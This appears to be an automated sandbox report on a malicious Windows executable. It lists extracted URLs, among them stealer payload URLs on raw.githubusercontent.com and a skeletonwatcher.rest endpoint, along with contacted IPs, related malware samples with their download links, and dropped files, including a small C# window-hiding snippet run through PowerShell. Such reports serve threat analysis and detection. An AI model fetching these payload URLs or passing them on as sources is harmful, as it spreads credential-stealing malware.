http://skeletonwatcher.rest/api/get/freeq	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624508397.00000222F3B29000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623229046.00000222F3B22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/compile	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://www.catcert.net/verarrel	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623256008.00000222F2149000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625586596.00000222F214D000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620141581.00000222F2140000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620244346.00000222F2148000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624821721.00000222F214B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://myserver.com	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txt):	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444779229.0000029108482000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1597554190.00000222F3B07000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1622972927.00000222F3AFE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://w3c.github.io/FileAPI/	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://golang.org/pkg/bytes/#Buffer).	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/beatgammit/base64-js/issues/42	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://url.spec.whatwg.org/#idna	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dom.spec.whatwg.org/#concept-event-path-append	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Microsoft/TypeScript/issues/2577)	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory)	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/golang/go/blob/master/LICENSE	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Compile	dGhlYXB0Z3JvdXA=-free.exe	false		high
http://skeletonwatcher.rest/api/get/freeM	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621865159.0000029108702000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/WICG/import-maps#the-import-mapSet	dGhlYXB0Z3JvdXA=-free.exe	false		high
http://man7.org/linux/man-pages/man2/shutdown.2.html	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://wicg.github.io/import-maps/	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	false		high
https://github.com/ctz/webpki-roots	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/v8/v8/blob/24886f2d1c565287d33d71e4109a53bf0b54b75c/LICENSE.v8	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1599401084.0000029108502000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1446863830.0000029108502000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444779229.0000029108502000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621418825.0000029108502000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/validat	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://deno.land/std/examples/cat.ts	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://tools.ietf.org/html/rfc2046#section-5.1	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/github/fetch/blob/master/fetch.js	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table)	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/vadimg/js_bintrees.	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txt	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444779229.0000029108482000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1446347858.00000222F3BE8000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1445883149.00000222F3BE8000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deno.land/manual/linking_to_external_code/import_maps	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://dom.spec.whatwg.org/#event-path	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deno.land/std/examples/colors.ts	dGhlYXB0Z3JvdXA=-free.exe	false		high
http://.css	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	false		high
https://some/file.ts	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://github.com/clap-rs/clap/issues	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	false		high
https://dl.deno.land/canary-latest.txt	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://deno.land/std/	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://w3c.github.io/user-timing)	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://golang.org/pkg/io/#pkg-constants	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txtT	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1619910329.00000222F2151000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl.deno.land/canary/P	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://crbug.com/v8/8520	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5E1E000.00000002.00000001.01000000.00000003.sdmp	false		high
https://fetch.spec.whatwg.org/#concept-construct-readablestream	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope)	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deno.land/std/testing/asserts.ts	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/denoland/deno/tree/master/test_plugin	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txtG	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1619910329.00000222F2151000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fetch.spec.whatwg.org/#dom-headers	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global)	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/denoland/deno/issues/4591)	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deno.land/manual	dGhlYXB0Z3JvdXA=-free.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	skeletonwatcher.rest	European Union		13335	CLOUDFLARENETUS	false
185.199.109.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583221
Start date and time:	2025-01-02 09:05:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dGhlYXB0Z3JvdXA=-free.exe
Detection:	MAL
Classification:	mal72.expl.evad.winEXE@16/18@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 81% Number of executed functions: 3 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 40.69.42.241, 20.3.187.198, 13.107.246.45
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dGhlYXB0Z3JvdXA=-free.exe, PID 6732 because there are no executed function
Not all processes where analyzed, report is missing behavior information

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	185.199.109.133
	ipmsg5.6.18_installer.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	over.ps1	Get hash	malicious	Vidar	Browse	185.199.109.133
	Epsilon.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Supplier.bat	Get hash	malicious	Unknown	Browse	185.199.110.133
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.199.111.133
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Dd5DwDCHJD.exe	Get hash	malicious	Quasar	Browse	217.20.57.35
	46VHQmFDxC.exe	Get hash	malicious	RedLine	Browse	217.20.57.43
	Payment-Order #24560274 for 8,380 USD.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, zgRAT	Browse	217.20.57.35
	PersonnelPolicies.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	217.20.57.37
	EiO4tqZ3o4.exe	Get hash	malicious	AsyncRAT	Browse	217.20.58.100
	wce.exe	Get hash	malicious	Unknown	Browse	217.20.58.98
	nXNMsYXFFc.exe	Get hash	malicious	Unknown	Browse	217.20.58.100
	5RaYXoKFn9.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	217.20.58.98
	msgde.exe	Get hash	malicious	Quasar	Browse	217.20.58.99
	atw3.dll	Get hash	malicious	Gozi, Ursnif	Browse	217.20.58.100
bg.microsoft.map.fastly.net	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	199.232.210.172
	WN3Y9XR9c7.exe	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	ROtw3Hvdow.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.210.172
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.214.172
	vj0Vxt8xM4.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Dd5DwDCHJD.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	172.67.157.254
	CRf9KBk4ra.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	http://www.rr8844.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://bitl.to/3Y0B	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.208.240
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse	104.21.79.229
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	7FEGBYFBHFBJH32.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	188.114.96.3
	16oApcahEa.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.32.1
	UhsjR3ZFTD.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
FASTLYUS	random.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	https://bitl.to/3Y0B	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.66.137
	01012025.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	185.199.109.133
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	151.101.193.44
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	151.101.65.44
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	151.101.129.44
	ipmsg5.6.18_installer.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	http://img1.wsimg.com/blobby/go/9b6ed793-452c-4f8f-8f80-6847f4d114d7/downloads/71318864754.pdf	Get hash	malicious	Unknown	Browse	151.101.129.140

Process:	C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:TVwTB9R:TVwNP
MD5:	9A67F3B2DB49B9E3CBC3AB754E98F999
SHA1:	7601692F0A66012FD59816BBA1FD212DBB2D3557
SHA-256:	5CA1760126A2DDDB046A097A036CDEAFC5A4F38113832EEC2E645417F75B2820
SHA-512:	5773417E935609520082D0D6D4F07435EC208D93D49C3455DFFEE7D99331F7E7848E3246B2B6E325696954312394BAA7FF09FE4801554E4A0AD87CE8CA61A638
Malicious:	false
Reputation:	low
Preview:	dGhlYXB0Z3JvdXA=

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	5.5988575318575045
Encrypted:	false
SSDEEP:	48:K5SU4y4RQmFoUeCamfm9qr9tK8NLyAHuQjlZSGj:K4HyIFKL2O9qr2KLyOZZhj
MD5:	DF29247B7F359E346E945DC50AE30895
SHA1:	F07656928D96690412DA61E2407DCB136053C307
SHA-256:	98B29B4A2B9D17F52250C17ED3B922C65EFC9954268575F5D285D385D47D0A51
SHA-512:	D45084D1DD06AE48C0B2B9AC4C0D49FFEA979DEB1C1E42A83A1FE95E52D7CAE99DC82E2DB62269680FD35A51DB1037F4C06536314F6069860AFD15B4939ACB01
Malicious:	false
Preview:	@...e...........\.......\.7.%.$.$.....~...Z.....................@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	4.82408068685792
Encrypted:	false
SSDEEP:	6:gCsHS6yqVPuM/sq2SRaqK4LovyFwM/sezhkKwGButFi2SRkoSoOD9:gC4JTDfei7krW0FU9O9
MD5:	379570600F5439DDA873EDA8F0CE4A79
SHA1:	2023B772101AFF5B12AB53F24A69742A4B9C394F
SHA-256:	2C058658252D0F5A4613DC846D56329797E86033E3C61B9B68537AE167000072
SHA-512:	70AD464F11597E9677A757C59A79A27650487D0F59CBB35D88E9775236E2DBF3CB78413B10EAC3E9A33E2CBA7FB1FB85EF7755B1D25E1C7D9513615EA4DAF152
Malicious:	false
Preview:	. using System;.. using System.Runtime.InteropServices;.... public class Win32 {.. [DllImport("user32.dll")].. public static extern IntPtr GetForegroundWindow();.... [DllImport("user32.dll")].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);.. }

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (374), with no line terminators
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.279007250520775
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23f8wkwUzxs7+AEszIcNwi23f8wkO:p37Lvkmb6KwZEwkTWZEJZEwkO
MD5:	144F77ED09BFDE2BDB6EBA462E2CD03E
SHA1:	3E05D20FA8CFCC5A540F944BC1FA8C3315CA17C9
SHA-256:	C217DF1485DF1EAB2189B9F14E023D9D091F8F43F538A9813ED2CC4A32598099
SHA-512:	511B64FF78336F2B9486B45C926E452C53E49E23907CB2FDBD1163082F88C513A203E705B63C14FFABF2C62BD9079735FCE297F19B058110DA3FA2017417EB26
Malicious:	false
